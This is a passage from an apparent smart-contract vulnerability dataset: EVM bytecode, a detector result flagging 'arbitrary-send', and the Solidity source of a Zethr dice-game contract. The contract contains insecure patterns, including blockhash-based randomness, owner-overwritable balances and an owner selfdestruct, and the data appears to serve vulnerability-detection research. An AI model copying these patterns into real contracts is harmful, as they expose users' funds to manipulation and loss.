} | 0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102ab578063095ea7b31461033b57806316f4d022146103a057806318160ddd146103cb5780631ef3755d146103f657806323b872dd1461040d57806324bb49d614610492578063313ce567146104bd5780633197cbb6146104ee57806341fbb0501461051957806362779e151461057057806364bd70131461058757806365a5f1cd146105b65780636f3921ee146105f9578063708ddf7b1461062857806370a08231146106535780638119c065146106aa57806388a8c95c146106d95780638da5cb5b1461071c57806391cca3db1461077357806395d89b41146107ca578063a6f9dae11461085a578063a9059cbb1461089d578063d679677a14610902578063dd62ed3e1461092d578063f51fb6a1146109a4578063f97e17d9146109cf575b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156101a05750600a60055414155b80156101bf575060001515600960009054906101000a900460ff161515145b80156101de575060001515600960019054906101000a900460ff161515145b15156101e957600080fd5b6101f333346109fa565b90503373ffffffffffffffffffffffffffffffffffffffff167f3ad10ba9777a3bc21180a465e5459861d07cbdb271af9a0f10c993b365b760f8826040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350005b3480156102b757600080fd5b506102c0610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103005780820151818401526020810190506102e5565b50505050905090810190601f16801561032d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034757600080fd5b50610386600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b90565b604051808215151515815260200191505060405180910390f35b3480156103ac57600080fd5b506103b5610c82565b6040518082815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610c88565b6040518082815260200191505060405180910390f35b34801561040257600080fd5b5061040b610c92565b005b34801561041957600080fd5b50610478600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cfc565b604051808215151515815260200191505060405180910390f35b34801561049e57600080fd5b506104a7610f96565b6040518082815260200191505060405180910390f35b3480156104c957600080fd5b506104d2610fd2565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104fa57600080fd5b50610503610fe5565b6040518082815260200191505060405180910390f35b34801561052557600080fd5b5061052e610feb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057c57600080fd5b50610585611011565b005b34801561059357600080fd5b5061059c6111be565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b506105f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d1565b005b34801561060557600080fd5b5061060e611271565b604051808215151515815260200191505060405180910390f35b34801561063457600080fd5b5061063d611284565b6040518082815260200191505060405180910390f35b34801561065f57600080fd5b50610694600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128e565b6040518082815260200191505060405180910390f35b3480156106b657600080fd5b506106bf6112d7565b604051808215151515815260200191505060405180910390f35b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ea565b005b34801561072857600080fd5b5061073161138a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077f57600080fd5b506107886113b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107d657600080fd5b506107df6113d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561081f578082015181840152602081019050610804565b50505050905090810190601f16801561084c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561086657600080fd5b5061089b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611474565b005b3480156108a957600080fd5b506108e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611514565b604051808215151515815260200191505060405180910390f35b34801561090e57600080fd5b50610917611806565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061098e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611828565b6040518082815260200191505060405180910390f35b3480156109b057600080fd5b506109b96118af565b6040518082815260200191505060405180910390f35b3480156109db57600080fd5b506109e46118eb565b6040518082815260200191505060405180910390f35b60008060008084600454019250600054831115610a68576001600054840303915081850394508573ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610a66573d6000803e3d6000fd5b505b846004600082825401925050819055508183039250610a8783866118f1565b905080601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060016000828254019250508190555080935050505092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b885780601f10610b5d57610100808354040283529160200191610b88565b820191906000526020600020905b815481529060010190602001808311610b6b57829003601f168201915b505050505081565b600081601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600154905090565b600960009054906101000a900460ff168015610cb05750600a544210155b1515610cbb57600080fd5b6127106107d03073ffffffffffffffffffffffffffffffffffffffff163102811515610ce357fe5b04601281905550610cf2611011565b610cfa6119c9565b565b600080601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610dcd5750828110155b1515610dd857600080fd5b82601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610f255782601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60006127106105fa6011546004540302811515610faf57fe5b04601254013073ffffffffffffffffffffffffffffffffffffffff163103905090565b600760009054906101000a900460ff1681565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061101b611adb565b6127106105fa601154600454030281151561103257fe5b046012540190506004546011819055506000601381905550600060128190555060008111156111bb57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002838115156110a357fe5b049081150290604051600060405180830381858888f193505050501580156110cf573d6000803e3d6000fd5b50601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048381151561111857fe5b049081150290604051600060405180830381858888f19350505050158015611144573d6000803e3d6000fd5b50601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048381151561118d57fe5b049081150290604051600060405180830381858888f193505050501580156111b9573d6000803e3d6000fd5b505b50565b600960019054906101000a900460ff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122d57600080fd5b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960029054906101000a900460ff1681565b6000600454905090565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600960009054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134657600080fd5b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561146c5780601f106114415761010080835404028352916020019161146c565b820191906000526020600020905b81548152906001019060200180831161144f57829003601f168201915b505050505081565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114d057600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561156557600080fd5b61156d611adb565b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116fb57600960009054906101000a900460ff1615156115bc57600080fd5b600060105414156115d0576115cf611d27565b5b60105483029050670de0b6b3a7640000818115156115ea57fe5b04905082601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550826001600082825403925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116f5573d6000803e3d6000fd5b506117fb565b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b600191505092915050565b6000600a600554141561181c57600a9050611825565b60016005540190505b90565b6000601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60055414156118c557600090506118e8565b60045460026005548154811015156118d957fe5b90600052602060002001540390505b90565b60105481565b6000806000600a600554141561190c576201211092506119c1565b60009150600260055481548110151561192157fe5b906000526020600020015485111561199c57600260055481548110151561194457fe5b9060005260206000200154850390508084039350600360055481548110151561196957fe5b906000526020600020015484029150600160056000828254019250508190555061199385826118f1565b820191506119bd565b60036005548154811015156119ad57fe5b9060005260206000200154840291505b8192505b505092915050565b6000600960006101000a81548160ff0219169083151502179055506000600960016101000a81548160ff0219169083151502179055506000600960026101000a81548160ff0219169083151502179055506138404201600a81905550611c20600a5401600b81905550611c20600b5401600c819055506170804201600d81905550611c20600d5401600e81905550611c20600e5401600f81905550600060118190555060006004819055506000601381905550600060108190555060006005819055507f938e6fcc245d7476cacd79a5032e14b706e6a7ead38fab7a0d73c4feaded40eb600a54600b54600c5460405180848152602001838152602001828152602001935050505060405180910390a1565b600a5442101515611d2557600960009054906101000a900460ff16158015611b105750600960019054906101000a900460ff16155b15611c7157600960029054906101000a900460ff1615611b8c576001600960016101000a81548160ff021916908315150217905550600e54600a819055507f24f7a980d4f032f59e7197d51a3cd619f138504a9b0da6fee19a08985863775e600a546040518082815260200191505060405180910390a1611c6c565b600a6005541415611bf9576001600960016101000a81548160ff021916908315150217905550600b54600a819055507f24f7a980d4f032f59e7197d51a3cd619f138504a9b0da6fee19a08985863775e600a546040518082815260200191505060405180910390a1611c6b565b600d54600a819055506001600960026101000a81548160ff0219169083151502179055507fd157e8167dfe7e28a6a152fd1fa166e7e3404cf58c49c769442efce28d387e00600a54600b54600c5460405180848152602001838152602001828152602001935050505060405180910390a15b5b611d24565b600960019054906101000a900460ff1615611d23576001600960006101000a81548160ff0219169083151502179055506000600960016101000a81548160ff021916908315150217905550600960029054906101000a900460ff1615611cdf57600f54600a81905550611ce9565b600c54600a819055505b7f4ebcdc2b14eacac39cf3ffaa28fc33f98e82cb4ce5d3002187b611b4d7a8b398600a546040518082815260200191505060405180910390a15b5b5b565b60006127106105fa6011546004540302811515611d4057fe5b0460125401601381905550670de0b6b3a7640000600154811515611d6057fe5b0490506013543073ffffffffffffffffffffffffffffffffffffffff16310360108190555080601054811515611d9257fe5b04601081905550505600a165627a7a72305820099d16a0075d838dcb5555084a4d0b7c0dbe24e4ecafcb62303b38b9140133a80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,532 |
0x1fe2401bd6f4de5eff1661086440297baa9a2e12 | pragma solidity ^0.4.24;
// Zethr Token Bankroll interface
contract ZethrTokenBankroll{
// Game request token transfer to player
function gameRequestTokens(address target, uint tokens) public;
}
// Zether Main Bankroll interface
contract ZethrMainBankroll{
function gameGetTokenBankrollList() public view returns (address[7]);
}
// Zethr main contract interface
contract ZethrInterface{
function withdraw() public;
}
// Library for figuring out the "tier" (1-7) of a dividend rate
library ZethrTierLibrary{
uint constant internal magnitude = 2**64;
function getTier(uint divRate) internal pure returns (uint){
// Tier logic
// Returns the index of the UsedBankrollAddresses which should be used to call into to withdraw tokens
// We can divide by magnitude
// Remainder is removed so we only get the actual number we want
uint actualDiv = divRate;
if (actualDiv >= 30){
return 6;
} else if (actualDiv >= 25){
return 5;
} else if (actualDiv >= 20){
return 4;
} else if (actualDiv >= 15){
return 3;
} else if (actualDiv >= 10){
return 2;
} else if (actualDiv >= 5){
return 1;
} else if (actualDiv >= 2){
return 0;
} else{
// Impossible
revert();
}
}
}
// Contract that contains the functions to interact with the bankroll system
contract ZethrBankrollBridge{
// Must have an interface with the main Zethr token contract
ZethrInterface Zethr;
// Store the bankroll addresses
// address[0] is main bankroll
// address[1] is tier1: 2-5%
// address[2] is tier2: 5-10, etc
address[7] UsedBankrollAddresses;
// Mapping for easy checking
mapping(address => bool) ValidBankrollAddress;
// Set up the tokenbankroll stuff
function setupBankrollInterface(address ZethrMainBankrollAddress) internal {
// Instantiate Zethr
Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811);
// Get the bankroll addresses from the main bankroll
UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();
for(uint i=0; i<7; i++){
ValidBankrollAddress[UsedBankrollAddresses[i]] = true;
}
}
// Require a function to be called from a *token* bankroll
modifier fromBankroll(){
require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll");
_;
}
// Request a payment in tokens to a user FROM the appropriate tokenBankroll
// Figure out the right bankroll via divRate
function RequestBankrollPayment(address to, uint tokens, uint userDivRate) internal {
uint tier = ZethrTierLibrary.getTier(userDivRate);
address tokenBankrollAddress = UsedBankrollAddresses[tier];
ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens);
}
}
// Contract that contains functions to move divs to the main bankroll
contract ZethrShell is ZethrBankrollBridge{
// Dump ETH balance to main bankroll
function WithdrawToBankroll() public {
address(UsedBankrollAddresses[0]).transfer(address(this).balance);
}
// Dump divs and dump ETH into bankroll
function WithdrawAndTransferToBankroll() public {
Zethr.withdraw();
WithdrawToBankroll();
}
}
// Zethr game data setup
// Includes all necessary to run with Zethr
contract Zethroll is ZethrShell {
using SafeMath for uint;
// Makes sure that player profit can't exceed a maximum amount,
// that the bet size is valid, and the playerNumber is in range.
modifier betIsValid(uint _betSize, uint _playerNumber, uint divRate) {
require( calculateProfit(_betSize, _playerNumber) < getMaxProfit(divRate)
&& _betSize >= minBet
&& _playerNumber >= minNumber
&& _playerNumber <= maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint public maxNumber = 90;
uint public minNumber = 10;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
bool public canMining = true;
uint public miningProfit = 100;
uint public minBetMining = 1e18;
address public owner;
mapping (uint => uint) public contractBalance;
mapping (uint => uint) public maxProfit;
uint public houseEdge;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Trackers
uint public totalBets;
uint public totalZTHWagered;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
constructor (address ZethrMainBankrollAddress) public {
setupBankrollInterface(ZethrMainBankrollAddress);
// Owner is deployer
owner = msg.sender;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 10% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(200000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
canMining = false;
miningProfit = 100;
minBetMining = 1e18;
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) public view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
// I present a struct which takes only 20k gas
struct playerRoll{
uint192 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 rollUnder; // Roll under 8 bits
uint8 divRate; // Divrate, 8 bits
}
// Mapping because a player can do one roll at a time
mapping(address => playerRoll) public playerRolls;
// The actual roll function
function _playerRollDice(uint _rollUnder, TKN _tkn, uint userDivRate) private
gameIsActive
betIsValid(_tkn.value, _rollUnder, userDivRate)
{
require(_tkn.value < ((2 ** 192) - 1)); // Smaller than the storage of 1 uint192;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
require(userDivRate < (2 ** 8 - 1)); // This should never throw
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
// If there exists a roll, finish it
if (roll.blockn != 0) {
_finishBet(_tkn.sender);
}
// Set struct block number, token value, and rollUnder values
roll.blockn = uint48(block.number);
roll.tokenValue = uint192(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
roll.divRate = uint8(userDivRate);
// Store the roll struct - 20k gas.
playerRolls[_tkn.sender] = roll;
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
totalBets += 1;
// Total wagered
totalZTHWagered += _tkn.value;
// game mining
if(canMining && roll.tokenValue >= minBetMining){
uint miningAmout = SafeMath.div(SafeMath.mul(roll.tokenValue, miningProfit) , 10000);
RequestBankrollPayment(_tkn.sender, miningAmout, roll.divRate);
}
}
// Finished the current bet of a player, if they have one
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(msg.sender);
}
/*
* Pay winner, update contract balance
* to calculate new max bet, and send reward.
*/
function _finishBet(address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // No re-entracy
require(roll.blockn != block.number);
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
result = 1000; // Cant win
} else {
// Grab the result - random based ONLY on a past block (future when submitted)
result = random(100, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
uint profit = calculateProfit(roll.tokenValue, rollUnder);
uint mProfit = getMaxProfit(roll.divRate);
if (profit > mProfit){
profit = mProfit;
}
// Safely reduce contract balance by player profit
subContractBalance(roll.divRate, profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit(roll.divRate);
// Prevent re-entracy memes
playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0));
// Transfer profit plus original bet
RequestBankrollPayment(target, profit + roll.tokenValue, roll.divRate);
return result;
} else {
/*
* Player has lost
* Update contract balance to calculate new max bet
*/
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
/*
* Safely adjust contractBalance
* SetMaxProfit
*/
addContractBalance(roll.divRate, roll.tokenValue);
playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0));
// No need to actually delete player roll here since player ALWAYS loses
// Saves gas on next buy
// Update maximum profit
setMaxProfit(roll.divRate);
return result;
}
}
// TKN struct
struct TKN {address sender; uint value;}
// Token fallback to bet or deposit from bankroll
function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn, userDivRate);
return true;
}
// Sets max profit
function setMaxProfit(uint divRate) internal {
//emit CurrentContractBalance(contractBalance);
maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Gets max profit
function getMaxProfit(uint divRate) public view returns (uint){
return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Subtracts from the contract balance tracking var
function subContractBalance(uint divRate, uint sub) internal {
contractBalance[divRate] = contractBalance[divRate].sub(sub);
}
// Adds to the contract balance tracking var
function addContractBalance(uint divRate, uint add) internal {
contractBalance[divRate] = contractBalance[divRate].add(add);
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public
onlyOwner
{
contractBalance[divRate] = newContractBalance;
}
function ownerUpdateMinMaxNumber(uint newMinNumber, uint newMaxNumber) public
onlyOwner
{
minNumber = newMinNumber;
maxNumber = newMaxNumber;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function updateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance[2] = newContractBalance;
setMaxProfit(2);
contractBalance[5] = newContractBalance;
setMaxProfit(5);
contractBalance[10] = newContractBalance;
setMaxProfit(10);
contractBalance[15] = newContractBalance;
setMaxProfit(15);
contractBalance[20] = newContractBalance;
setMaxProfit(20);
contractBalance[25] = newContractBalance;
setMaxProfit(25);
contractBalance[33] = newContractBalance;
setMaxProfit(33);
}
// An EXTERNAL update of tokens should be handled here
// This is due to token allocation
// The game should handle internal updates itself (e.g. tokens are betted)
function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll {
contractBalance[divRate] = newBalance;
setMaxProfit(divRate);
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 20% contractBalance
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit(2);
setMaxProfit(5);
setMaxProfit(10);
setMaxProfit(15);
setMaxProfit(20);
setMaxProfit(25);
setMaxProfit(33);
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can set emergency pause #1
function ownerSetupBankrollInterface(address ZethrMainBankrollAddress) public
onlyOwner
{
setupBankrollInterface(ZethrMainBankrollAddress);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetCanMining(bool newStatus) public
onlyOwner
{
canMining = newStatus;
}
function ownerSetMiningProfit(uint newProfit) public
onlyOwner
{
miningProfit = newProfit;
}
function ownerSetMinBetMining(uint newMinBetMining) public
onlyOwner
{
minBetMining = newMinBetMining;
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
selfdestruct(owner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 0x6080604052600436106101cc5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101d15780630bb954c9146101f85780630d4255591461020f578063172ff8d61461022757806323214fab146102505780633a4f6999146102655780633ba064521461027a57806343c1598d1461029257806343db5324146102a75780634f44728d146102c157806355b93031146102e25780635da5a9b1146102f75780635e968a4914610312578063619907591461032a57806361fda6401461034e5780636cdf4c90146103695780636eacd48a14610381578063714490ab1461039b57806377a28461146103b057806382916381146103d15780638701a2f01461043d5780638da5cb5b146104525780639619367d1461048357806397c6824f14610498578063a3531f6c146104ad578063b3472edb146104c2578063bd71e476146104da578063befa1e2f146104f2578063c3de1ab914610507578063ccd50d281461051c578063d263b7eb14610577578063d667dcd71461058c578063e5c774de146105a1578063ee4eabce146105b6578063ef4ef103146105ce578063f17715ef146105e9578063f7ba889614610601575b600080fd5b3480156101dd57600080fd5b506101e6610628565b60408051918252519081900360200190f35b34801561020457600080fd5b5061020d61062e565b005b34801561021b57600080fd5b5061020d6004356106aa565b34801561023357600080fd5b5061023c6106c6565b604080519115158252519081900360200190f35b34801561025c57600080fd5b506101e66106d4565b34801561027157600080fd5b506101e66106da565b34801561028657600080fd5b506101e66004356106e0565b34801561029e57600080fd5b506101e66106f2565b3480156102b357600080fd5b5061020d60043515156106f9565b3480156102cd57600080fd5b5061020d600160a060020a036004351661072a565b3480156102ee57600080fd5b506101e6610770565b34801561030357600080fd5b5061020d600435602435610776565b34801561031e57600080fd5b5061020d600435610798565b34801561033657600080fd5b506101e6600435600160a060020a036024351661080d565b34801561035a57600080fd5b5061020d6004356024356108ae565b34801561037557600080fd5b5061020d6004356108d6565b34801561038d57600080fd5b5061020d60043515156108f2565b3480156103a757600080fd5b5061020d61091c565b3480156103bc57600080fd5b5061020d600160a060020a0360043516610959565b3480156103dd57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261023c94600160a060020a0381351694602480359560443595369560849493019181908401838280828437509497506109799650505050505050565b34801561044957600080fd5b506101e6610a89565b34801561045e57600080fd5b50610467610aab565b60408051600160a060020a039092168252519081900360200190f35b34801561048f57600080fd5b506101e6610aba565b3480156104a457600080fd5b506101e6610ac0565b3480156104b957600080fd5b506101e6610ac6565b3480156104ce57600080fd5b506101e6600435610acc565b3480156104e657600080fd5b5061020d600435610ae9565b3480156104fe57600080fd5b506101e6610b05565b34801561051357600080fd5b5061023c610b0b565b34801561052857600080fd5b5061053d600160a060020a0360043516610b14565b60408051600160c060020a03909516855265ffffffffffff909316602085015260ff91821684840152166060830152519081900360800190f35b34801561058357600080fd5b5061020d610b55565b34801561059857600080fd5b506101e6610b7a565b3480156105ad57600080fd5b506101e6610b80565b3480156105c257600080fd5b5061020d600435610b86565b3480156105da57600080fd5b5061020d600435602435610d2c565b3480156105f557600080fd5b506101e6600435610df0565b34801561060d57600080fd5b506101e6600435602435600160a060020a0360443516610e02565b60155481565b60008054604080517f3ccfd60b0000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921692633ccfd60b9260048084019382900301818387803b15801561068857600080fd5b505af115801561069c573d6000803e3d6000fd5b505050506106a861091c565b565b600e54600160a060020a031633146106c157600080fd5b600c55565b600b54610100900460ff1681565b60125481565b60095481565b60106020526000908152604090205481565b620f424081565b600e54600160a060020a0316331461071057600080fd5b600b80549115156101000261ff0019909216919091179055565b600e5460016